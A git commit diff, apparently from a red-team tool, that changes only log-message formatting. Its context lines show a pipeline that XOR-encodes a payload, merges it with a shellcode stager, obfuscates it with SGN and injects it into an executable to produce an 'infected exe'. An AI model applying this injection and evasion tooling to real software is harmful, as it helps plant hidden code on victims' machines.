refactor: nicer output

This commit is contained in:
Dobin
2024-02-15 18:30:50 +00:00
parent 16b7e840d7
commit a6cebe2f92
5 changed files with 24 additions and 22 deletions
+2 -2
View File
@@ -80,7 +80,7 @@ def write_code_section(pe_file, new_data):
def clean_files():
logger.info("--[ Remove old files ]")
logger.info("--[ Remove old files")
files_to_clean = [
# compile artefacts in current dir
@@ -129,7 +129,7 @@ def run_process_checkret(args, check=True):
def try_start_shellcode(shc_file):
logger.info("--[ Blindly execute shellcode: {} ]".format(shc_file))
logger.info("--[ Blindly execute shellcode: {}".format(shc_file))
subprocess.run([
config.get["path_runshc"],
shc_file,
+7 -6
View File
@@ -7,13 +7,14 @@ from helper import *
from config import config
from observer import observer
from project import project
from helper import *
logger = logging.getLogger("Assembler")
def make_shc_from_asm(asm_file, exe_file, shc_file):
logger.info("--[ Assemble to exe: {} -> {} -> {} ]".format(asm_file, exe_file, shc_file))
logger.info("--[ Assemble to exe: {} -> {} -> {}".format(asm_file, exe_file, shc_file))
logger.info("---[ Assemble ASM to EXE: {} -> {} ]".format(asm_file, exe_file))
logger.info("---[ Assemble ASM to EXE: {} -> {}".format(asm_file, exe_file))
run_process_checkret([
config.get("path_ml64"),
asm_file,
@@ -25,17 +26,17 @@ def make_shc_from_asm(asm_file, exe_file, shc_file):
logger.error("Error")
return
logger.info("---[ EXE to SHC: {} -> {} ]".format(exe_file, shc_file))
logger.info("---[ EXE to SHC: {} -> {} ".format(exe_file, shc_file))
code = get_code_section_data(exe_file)
with open(shc_file, 'wb') as f:
f.write(code)
return code
#logger.info("---[ Shellcode from {} written to: {} (size: {}) ]".format(exe_file, shc_file, len(code)))
#logger.info("---[ Shellcode from {} written to: {} (size: {}) ".format(exe_file, shc_file, len(code)))
def merge_loader_payload(main_shc_file):
logger.info("--[ Merge stager: {} + {} -> {} ] ".format(
logger.info("--[ Merge stager: {} + {} -> {}".format(
main_shc_file, project.payload, main_shc_file))
with open(main_shc_file, 'rb') as input1:
data_stager = input1.read()
@@ -49,7 +50,7 @@ def merge_loader_payload(main_shc_file):
logger.info("---[ XOR payload with key 0x{:x}".format(xor_key))
data_payload = bytes([byte ^ xor_key for byte in data_payload])
logger.info("---[ Size: Stager: {} and Payload: {} Sum: {} ]".format(
logger.info("---[ Size: Stager: {} and Payload: {} Sum: {} ".format(
len(data_stager), len(data_payload), len(data_stager)+len(data_payload)))
with open(main_shc_file, 'wb') as output:
+4 -4
View File
@@ -13,7 +13,7 @@ use_templates = True
def make_c_to_asm(c_file, asm_file, payload_len, capabilities: ExeCapabilities):
logger.info("--[ C to ASM: {} -> {} ]".format(c_file, asm_file))
logger.info("--[ C to ASM: {} -> {} ".format(c_file, asm_file))
asm = {
"initial": "",
@@ -23,7 +23,7 @@ def make_c_to_asm(c_file, asm_file, payload_len, capabilities: ExeCapabilities):
}
# Phase 1: C To Assembly
logger.info("---[ Make ASM from C: {} ]".format(c_file))
logger.info("---[ Make ASM from C: {} ".format(c_file))
run_process_checkret([
config.get("path_cl"),
"/c",
@@ -38,7 +38,7 @@ def make_c_to_asm(c_file, asm_file, payload_len, capabilities: ExeCapabilities):
asm["initial"] = file_readall_text(asm_file)
# Phase 1.2: Assembly fixup
logger.info("---[ Fixup : {} ]".format(asm_file))
logger.info("---[ Fixup : {} ".format(asm_file))
if not fixup_asm_file(asm_file, payload_len, capabilities):
logger.error("Error: Fixup failed")
return
@@ -47,7 +47,7 @@ def make_c_to_asm(c_file, asm_file, payload_len, capabilities: ExeCapabilities):
# Phase 1.1: Assembly cleanup
asm_clean_file = asm_file + ".clean"
logger.info("---[ Cleanup: {} ]".format(asm_file))
logger.info("---[ Cleanup: {} ".format(asm_file))
run_process_checkret([
config.get("path_masmshc"),
asm_file,
+2 -2
View File
@@ -15,7 +15,7 @@ def inject_exe(shc_file: FilePath):
exe_out: FilePath = project.inject_exe_out
exe_capabilities: ExeCapabilities = project.exe_capabilities
logger.info("--[ Injecting: {} into: {} -> {} ]".format(
logger.info("--[ Injecting: {} into: {} -> {} ".format(
shc_file, exe_in, exe_out
))
@@ -56,7 +56,7 @@ def inject_exe(shc_file: FilePath):
def verify_injected_exe(exefile):
logger.info("---[ Verify infected exe: {} ]".format(exefile))
logger.info("---[ Verify infected exe: {} ".format(exefile))
# remove indicator file
pathlib.Path(verify_filename).unlink(missing_ok=True)
+9 -8
View File
@@ -180,24 +180,25 @@ def start():
phases.assembler.merge_loader_payload(main_shc_file)
if project.verify and project.source_style == SourceStyle.peb_walk:
logger.info("--[ Verify final shellcode ]")
logger.info("--[ Verify final shellcode")
if not verify_shellcode(main_shc_file):
logger.info("Could not verify, still continuing")
#return
if project.try_start_final_shellcode:
logger.info("--[ Test Append shellcode ]")
logger.info("--[ Test Append shellcode")
try_start_shellcode(main_shc_file)
# copy it to out
shutil.copyfile(main_shc_file, os.path.join("out/", os.path.basename(main_shc_file)))
# SGN
# after we packed everything (so jmp to end of code still works)
#if options["obfuscate_shc_loader"] and project.exe_capabilities.rwx_section != None:
if project.exe_capabilities.rwx_section != None:
logger.info("--[ Use SGN]")
logger.info("--[ RWX section {} found. Will obfuscate loader+payload and inject into it".format(
project.exe_capabilities.rwx_section.Name.decode().rstrip('\x00')
))
obfuscate_shc_loader(main_shc_file, main_shc_file + ".sgn")
observer.add_code("payload_sgn", file_readall_binary(main_shc_file + ".sgn"))
@@ -213,13 +214,13 @@ def start():
phases.injector.inject_exe(main_shc_file)
if project.verify:
logger.info("--[ Verify final exe ]")
logger.info("--[ Verify final exe")
if phases.injector.verify_injected_exe(project.inject_exe_out):
#debug_data["infected_exe"] = file_readall_binary(options["inject_exe_out"])
pass
if project.try_start_final_infected_exe:
logger.info("--[ Start infected exe ]")
logger.info("--[ Start infected exe")
run_process_checkret([
project.inject_exe_out,
], check=False)
@@ -235,7 +236,7 @@ def start():
def obfuscate_shc_loader(file_shc_in, file_shc_out):
logger.info("--[ Convert with SGN ]")
logger.info("--[ Obfuscate shellcode with SGN")
if True:
path_sgn = r'C:\tools\sgn2.0\sgn.exe'
run_process_checkret([
@@ -261,7 +262,7 @@ def obfuscate_shc_loader(file_shc_in, file_shc_out):
def verify_shellcode(shc_name):
logger.info("---[ Verify shellcode: {} ]".format(shc_name))
logger.info("---[ Verify shellcode: {}".format(shc_name))
# check if directory exists
if not os.path.exists(os.path.dirname(verify_filename)):